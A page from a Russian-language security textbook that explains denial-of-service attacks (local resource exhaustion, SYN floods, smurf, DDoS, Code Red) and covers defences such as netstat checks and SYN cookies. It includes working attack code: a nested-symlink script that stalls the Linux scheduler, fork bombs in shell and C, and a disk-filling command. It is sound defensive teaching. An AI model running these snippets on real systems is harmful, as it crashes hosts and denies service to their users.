Читать книгу Защита от хакеров корпоративных сетей - Коллектив авторов - Страница 34

Что собой представляет атака, приводящая к отказу в обслуживании (DoS-атака)? О DoS-атаке говорят в том случае, когда в результате действий злоумышленника ресурс заблокирован или его функциональные возможности существенно ограничены. Другими словами, атака препятствует доступности ресурса его постоянным авторизованным пользователям. Атаки этого класса могут осуществляться как локально на автономной системе, так и удаленно через сеть. Они направлены на ограничение функциональных возможностей процессов, уменьшение объема запоминаемой информации, разрушение файлов. Подобные атаки преследуют цель сделать ресурс непригодным для работы или добиться завершения работы системы или процессов. Рассмотрим DoS-атаки подробнее.

Локальная DoS-атака

Локальная DoS-атака встречается часто, и ее во многих случаях можно предотвратить. Несмотря на большой ущерб от атак этого класса, все же предпочтительнее иметь дело именно с ними. При грамотно реализованной системе безопасности этот класс атак легко отследить, а злоумышленника – идентифицировать.

Локальная DoS-атака наиболее часто преследует следующие три цели: существенное снижение функциональных возможностей процесса, исчерпание места на диске и истощение индексных узлов (index node (inode) exhaustion).

Снижение функциональных возможностей процесса

По сути, каждый локальный отказ в обслуживании – это существенное снижение функциональных возможностей процессов вследствие снижения производительности системы из-за ее перегрузки в результате атаки злоумышленника. Перегрузка системы наступает из-за порождения процессов с повторяющейся структурой, которые пожирают доступные ресурсы хоста, переполнения таблицы системных процессов или из-за перегрузки центрального процессора, опять же в результате порождения слишком большого количества процессов.

Известен вариант атаки этого класса, основанный на недавно найденной уязвимости в ядре Linux. Создавая систему вложенных символических ссылок, пользователь может помешать планированию выполнения других процессов во время разыменовывания символической ссылки. После создания вложенных символических ссылок, пытаясь выполнить один из связанных файлов, планировщик процесса блокируется, не позволяя другим процессам получить процессорное время. Ниже представлен исходный текст файла mklink.sh, который создает все необходимые ссылки в системе, подвергнувшейся нападению (эта проблема была полностью исправлена только в ядре Linux версии 2.4.12):

#!/bin/sh

# by Nergal

mklink()

{

IND=$1

NXT=$(($IND+1))

EL=l$NXT/../

P=“”

I=0

while [ $I -lt $ELNUM ] ; do

P=$P“$EL”

I=$(($I+1))

done

ln -s “$P”l$2 l$IND

}

#main program

if [ $# != 1 ] ; then

echo A numerical argument is required.

exit 0

fi

ELNUM=$1

mklink 4

mklink 3

mklink 2

mklink 1

mklink 0 /../../../../../../../etc/services

mkdir l5

mkdir l

Еще один вариант локальной DoS-атаки получил название fork bomb – развилочная бомба (fork bomb – самовоспроизводящаяся командная строка, способная в конечном итоге уничтожить все другие записи в таблице процессов командной системы). Эта проблема не только операционной системы Linux. Она не решена и в других операционных системах на различных платформах. Развилочную бомбу легко реализовать на языке командной оболочки shell или языке C. Код бомбы на языке командной оболочки shell представлен ниже:

($0 & $0 &)

Код на языке С следующий:

(main() {for(;;)fork();})

В любом из вариантов злоумышленник может снизить эффективность работы процесса как незначительно, лишь замедлив работу системы, так и весьма сильно, перерасходовав или монополизировав ресурсы системы и вызвав тем самым ее аварийный отказ.

Переполнение диска

Цель другого класса локальной DoS-атаки состоит в том, чтобы полностью заполнить диск. Емкость диска – конечный ресурс. Ранее дисковая память была очень дорогим ресурсом. В настоящее время цена хранения информации на диске значительно снизилась. Несмотря на возможность решения многих задач хранения информации при помощи дисковых массивов и программ, контролирующих хранение информации, емкость дисковой памяти продолжает оставаться узким местом во всех системах. Программные решения типа выделения квот хранения информации каждому пользователю позволяют лишь смягчить эту проблему.

Этот вид атак преследует цель сделать невозможным создание новых файлов и увеличение размера существующих. Дополнительная проблема состоит в том, что некоторые UNIX-системы завершаются аварийно при полном заполнении корневого раздела. Хотя это нельзя характеризовать как конструкторский дефект UNIX, правильное администрирование системы должно предусматривать отдельный раздел для журналов регистрации типа /var и отдельный раздел для пользователей типа директории /home на Linux-системах или директории /export/home на системах Sun.

Если при планировании работы с диском не было предусмотрено разбиение диска на раздел(ы) для пользователей и, отдельно, раздел(ы) для журналов регистрации, то злоумышленник может воспользоваться этим типом DoS-атаки для достижения аварийного отказа системы. Он может также воспользоваться этим типом атаки для затруднения работы пользователей: при генерации большого количества событий, регистрируемых в системном журнале syslog, расходуется отведенная разделу журналов регистрации дисковая память, и при ее исчерпании нельзя зарегистрировать новые события в журнале syslog.

Реализация такой атаки тривиальна. Пользователю локального компьютера достаточно выполнить следующую команду:

cat /dev/zero > ~/maliciousfile

Эта команда свяжет файл устройства /dev/zero (который просто генерит нули) с файлом злоумышленника. Команда будет продолжаться до тех пор, пока пользователь не прекратит ее выполнение или не будет заполнен диск.

Для усиления разрушительного эффекта атаки, направленной на исчерпание дисковой памяти, можно воспользоваться идеей бомбежки почты. Хотя это старая идея, на практике она почти не применяется. Возможно, из-за того, что на основе анализа заголовков пакетов протокола SMTP путь электронной почты легко проследить. И хотя для передачи пакетов могут использоваться открытые ретрансляторы (open relays), поиск отправителя почтовой бомбы – не очень сложная задача. Поэтому большинство бомбардировщиков почты окажется или без Интернета, или в тюрьме, или одновременно и там, и там.

Истощение индексных узлов

Несмотря на разные цели, атаки, направленные на истощение индексных узлов, похожи на предыдущий тип DoS-атаки, ориентированный на переполнение диска. Локальные DoS-атаки истощения индексных узлов изначально ориентированы на тот или иной тип файловой системы. Индексные узлы – обязательная часть файловой системы UNIX.

Индексные узлы содержат важную информацию файловой системы. Как минимум, это сведения о владельце файлов, групповом членстве файлов, их типе, разрешениях, размере и адресах блоков, содержащих данные файла. При форматировании файловой системы создается конечное число индексных узлов для обработки индексов файлов каждой группы.

Ориентированные на истощение индексных узлов DoS-атаки стараются использовать все доступные индексные узлы раздела. Истощение этих ресурсов создает ситуацию, подобную той, которая происходит в случае нехватки места на диске. В результате система не может создавать новые файлы. Этот класс атак обычно используется для нанесения ущерба системе и препятствования регистрации системных событий, особенно действий злоумышленника.

Сетевые DoS-атаки

Сетевые DoS-атаки, преследующие цель вывода подключенного к сети компьютера (или компьютеров) из строя, могут быть отнесены к одному из двух подклассов: нападение на какую-либо службу системы или нападение на систему в целом. Такие атаки могут быть очень опасными. Эти типы атак были придуманы для создания дискомфорта пользователям и предпринимаются злоумышленником как карательные акции.

Характеризуя людей, стоящих за подобными атаками, следует сказать, что DoS-атаки из сети – в основном метод действия малодушных людей, пытающихся уйти от ответственности за совершенные действия. Любые оправдания DoS-атак из сети несостоятельны. Свободно распространяемый и легкодоступный инструментарий создал субкультуру, называемую миром возможностей новичков-недоумков (script kiddiot), способных только на то, чтобы запустить нужный сценарий. (Автор позаимствовал неологизм, придуманный Джосом Оквендо (Jose Oquendo) – автором известной программы antiofiline.com.) Выражение новичок-недоумок произошло от базового словосочетания, в котором сценарий определяется как «предварительно написанная программа, запускаемая пользователем», а словообразование новичок-недоумок (kiddiot) является комбинацией слов ребенок и недоумок. Очень доходчиво. Доступность существующего инструментария позволяет им причинять неудобства, оставаясь при этом анонимными. При этом пользователям совсем не обязательно утруждать себя хотя бы минимальными техническими знаниями. Единственные, кто несет за подобные атаки большую ответственность, чем новички-недоумки, – это группа профессионалов, создающих условия для подобных атак.

DoS-атаки из сети, как уже было сказано, могут быть направлены на службы или систему в целом в зависимости от того, какую цель преследует атака и почему. Они могут быть подразделены на атаки, направленные для достижения отказа в обслуживания клиентской части, сервисов или систем. В следующих разделах каждый из этих типов атак будет рассмотрен более детально.

Сетевые DoS-атаки на клиентскую часть

Специальные программы ориентированы на достижение отказа в обслуживании клиентской части. Они преследуют следующую цель: добиться невозможности выполнения клиентской частью запросов пользователя. Примером подобной атаки являются так называемые бомбы JavaScript (JavaScript bombs).

По умолчанию большинство Web-браузеров разрешают использование сценария на языке JavaScript. То, что это действительно так, можно заметить во время посещения Web-сайта, когда отображается всплывающая или фоновая (pop-under) реклама. К сожалению, злоумышленник может использовать возможности JavaScript преступным образом, например для атаки с целью достижения отказа обслуживания клиентской части. Используя ту же самую технику, что и рекламодатели для создания нового рекламного окна, злоумышленник может создать злонамеренную Web-страницу, состоящую из бесконечного цикла создания окон. В конечном счете всплывет так много окон, что система исчерпает все свои ресурсы.

Это был пример атаки на клиентскую часть для достижения отказа в обслуживании пользователя в результате исчерпания ресурсов. Принцип атаки аналогичен ранее описанному, но теперь атака организована через сеть. Это только одна из многих атак на клиентскую часть. Другие используют возможности таких программ, как AOL Instant Messenger, ICQ Instant Message Client и аналогичные им.

Сетевые DoS-атаки на сервисы

Другим представителем класса сетевых DoS-атак являются сетевые DoS-атаки на сервисы. Они предназначены для нападения на выбранные для атаки сервисы, для того чтобы добиться их недоступности для авторизованных пользователей. Подобные атаки обычно осуществляются при помощи таких используемых пользователями сервисов, как демон протокола передачи гипертекста (Hypertext Transfer Protocol Daemon – HTTPD), агент доставки почты (Mail Transport Agent – MTA) и др.

Иллюстрацией подобной проблемы служит уязвимость, которая случайно была обнаружена в инфраструктуре Web-конфигурации операционной системы фирмы Cisco CBOS (Cisco Broadband Operating System). После появления на свет червя Code Red, который создавался, ориентируясь на Wed-сервера с IIS (Internet Information Server) 5.0 фирмы Микрософт, было обнаружено, что червь неразборчив к типу атакуемого Web-сервера. Червь сканировал сети в поисках Web-серверов и предпринимал попытки атаковать любой встретившийся сервер.

Побочный эффект червя проявился в том, что хотя некоторые хосты оказались ему не по зубам, другие хосты, в частности хосты с CBOS, оказались подверженными другой опасности: прием от хостов, инфицированных Code Red, многократных запросов на соединение с использованием протокола TCP через порт 80 приводил к аварии CBOS.

Хотя эта уязвимость была обнаружена как проявление другой, любой пользователь мог воспользоваться ею с помощью легкодоступного инструментария аудита сети. Тем более что после нападения маршрутизатор не смог бы самостоятельно выключиться и сразу включиться, чтобы восстановить свою работоспособность. Это классический пример атаки, нацеленной на уязвимый сервис.

Сетевые DoS-атаки на систему

Нацеленные на разрушение системы сетевые DoS-атаки обычно преследуют те же цели, что и локальные DoS-атаки: уменьшение производительности системы вплоть до ее полного отказа. Выявлено несколько характерных подходов для осуществления этого типа атак, которые по существу полностью определяют используемые методы. Один из них основан на атаке одной системы из другой. Этот тип нападения был продемонстрирован в нападениях land.c, Ping of Death (звонок смерти) и teardrop (слезинка), происходивших пару лет назад, а также в нападениях на различные уязвимости фрагментированных пакетов TCP/IP в маршрутизаторе D-Link, Microsoft ISA Server и им подобных программных средствах.

Аналогична идея синхронной атаки (SYN flooding). (SYN flooding – злонамеренное действие, состоящее в генерировании злоумышленником лавины синхронизирующих символов SYN с целью заблокировать легальный доступ на сервер путем увеличения полуоткрытых соединений к TCP порту). Синхронная атака предполагает наличие ряда условий: начиная от случая, когда атакующий компьютер обладает большей производительностью, чем атакуемый, и заканчивая случаем наличия в сети компьютеров, соединенных скоростными каналами. Этот тип нападения используется главным образом для деградации производительности системы. Синхронная атака реализуется путем посылки запросов на TCP-соединение быстрее, чем система сможет их обработать. Атакованная система расходует ресурсы на отслеживание каждого соединения. Поэтому получение большого количества символов синхронизации может привести к тому, что атакованный хост исчерпает все свои ресурсы и не сможет выделить их новым легальным соединениям. IP-адрес источника, как обычно, подменяется таким образом, чтобы атакованная система не смогла получить ответ на свою посылку второй части трехстороннего представления SYN-ACK (синхронизированное уведомление об успешном приеме данных, генерируемое получателем пакетов). Некоторые операционные системы несколько раз повторно передадут SYN-ACK, перед тем как освободить ресурс и вернуть его системе. Заках (Zakath) написал программу синхронной атаки syn4k.c. Программа позволяет указать в пакете подмененный адрес отправителя и порт системы жертвы синхронной атаки. По соображениям краткости изложения в книге не приведен исходный код программы, но его можно загрузить с www.cotse.com/sw/dos/syn/synk4.c.

Синхронную атаку можно обнаружить различными инструментальными средствами, например командой netstat, результат действия которой показан на рис. 3.1, или с помощью сетевых систем обнаружения вторжения (IDS).

Рис. 3.1. Пример использования команды netstat для обнаружения синхронной атаки

В некоторых версиях операционных систем использование параметра – n команды netstat позволяет отобразить адреса и номера портов в числовом формате, а переключатель -p – выбрать протокол для просмотра. Это дает возможность просматривать не все соединения по протоколу UDP (User Datagram Protocol), а только те из них, которые представляют интерес в рамках определенной атаки. Перед использованием команды ознакомьтесь с описанием команды netstat, установленной на вашей операционной системе, чтобы гарантировать использование правильных параметров.

Добавим, что некоторые операционные системы поддерживают возможность работы с маркерами SYN cookies по протоколу TCP. Использование маркеров SYN cookies позволяет устанавливать защищенные криптографическими средствами соединения (в системах с удаленным доступом использование маркеров подразумевает пароль, порождаемый сервером при первом подключении и отсылаемый пользователю; при последующих подключениях пользователь должен предоставлять серверу этот пароль). При получении символа синхронизации SYN от системы – инициатора обмена система возвращает символы синхронизированного уведомления об успешном приеме данных SYN+ACK, как если бы SYN-очередь в действительности была больше. При возврате системой-инициатором обмена символа ACK обратно системе она вызывает специальную функцию сервера, передавая функции в качестве входного параметра значение 32-битового счетчика времени по модулю 32. Если результат, возвращаемый функцией, соответствует ожидаемому, то используется извлеченный максимальный размер сегмента MSS и восстанавливаются внутренние переменные для правильного поступления SYN-символов в очередь.

Рассмотрим атаки типа smurf или packet, которые обычно инициируются ранее упомянутыми новичками-недоумками. Атаки типа smurf – DoS-атаки из сети, ставящие перед собой цель вывести из строя атакованный хост. Этот тип атак использует маршрутизатор, играющий роль посредника, как это показано на рис. 3.2. Злоумышленник, подменивший исходный IP-адрес на адрес атакуемого хоста, генерирует большое количество эхо-сообщений по протоколу ICMP (Internet Control Message Protocol), создавая тем самым большой поток информации по широковещательным IP-адресам. Маршрутизатор, в данном случае выступающий в роли усилителя smurf-атаки, преобразует широковещательный запрос на IP-передачу к широковещательному запросу уровня канала передачи данных Layer 2 и посылает их дальше. Каждый хост, получив широковещательный запрос, отвечает эхо-сигналом по подмененному IP-адресу отправителя. В зависимости от числа хостов в сети как маршрутизатор, так и атакуемый хост могут быть перегружены потоком информационного обмена, что может привести к снижению сетевой производительности атакованного хоста. В зависимости от числа используемых сетевых усилителей атакованная сеть сможет достичь предела своих возможностей обработки информации.

Рис. 3.2. Схема smurf-атаки

В последнее время появились сетевые распределенные DoS-атаки (DDoS). В их основе лежит та же самая идея, что и в smurf-атаках, хотя средства нападения и метод усиления атаки значительно отличаются.

Типы DDoS-атак различаются способом использования клиентов, мастеров и демонов (также называемых зомби). Для того чтобы DDoS-атака стала возможной, специальная программа должна быть размещена на десятках или сотнях системах-«агентах». Обычно кандидаты на роль «агентов» ищутся автоматически среди хостов, которые могут быть cкомпрометированы (например, в результате переполнения буферов во время удаленного вызова процедур (RPC) служб statd, cmsd и ttdbserverd). Затем на скомпрометированные хосты размещается специальная программа – мастер или демон. На них же загружаются специальные программы запуска демонов вместе с программами-генераторами потока пакетов информации, нацеленных на атакуемую систему. Для атаки злоумышленник использует клиента мастера, размещенного на скомпрометированном хосте. Мастер позволяет злоумышленнику управлять демонами. В конечном счете злоумышленник управляет несколькими мастерами, а те – демонами. Во время DDoS-атаки каждый из агентов участвует в создании избыточного потока информации по направлению к атакуемой системе и перегружает ее. Современный набор инструментальных средств DDoS-атак состоит из таких средств, как trinoo, Tribe Flood Network, Tribe Flood Network 2000, stacheldraht, shaft и mstream. Для дополнительного ознакомления о средствах и методах обнаружения демонов и инструментарии DDoS-атак посетите Web-сайт Дэвида Дитриха (David Dittrich): http://staff.washington.edu/dittrich/misc/DDoS.

Приоткрывая завесу

Код Red Worm

В июле 2001 года фильтр IIS (Internet Information Server – информационный сервер Internet) фирмы Микрософт был преобразован в автоматическую программу, названную червем. Используя брешь в системе защиты IIS, червь сначала атаковал один IIS, а затем, пользуясь скомпрометированной системой, нападал на другие системы IIS. Червь предназначался для двух вещей. Во-первых, для стирания Web-страницы инфицированной системы. И, во-вторых, для координации DdoS-атаки против Белого дома. Червь потерпел неудачу, не достигнув своих целей, в основном из-за своевременной квалифицированной реакции штаба информационных технологий Белого дома (White House IT staff).

Последствия от нападения червя не ограничились уязвимыми операционными системами Windows или Белым домом. В результате атаки были переполнены журналы серверов HTTP, неуязвимых к нападению, и был найден оригинальный способ воздействия на маршрутизаторы цифровой абонентской линии (DSL-Digital Subscriber Line) фирмы Cisco. После нападения червя на маршрутизаторы DSL с интерфейсом Web-администрирования они работали неустойчиво, аварийно завершались, способствуя тем самым отказу в обслуживании. В результате клиенты Qwest и некоторых других известных Интернет-провайдеров остались без доступа к сети, пораженной червем. Из-за деятельности червя инфицированная сеть была перегружена операциями сканирования.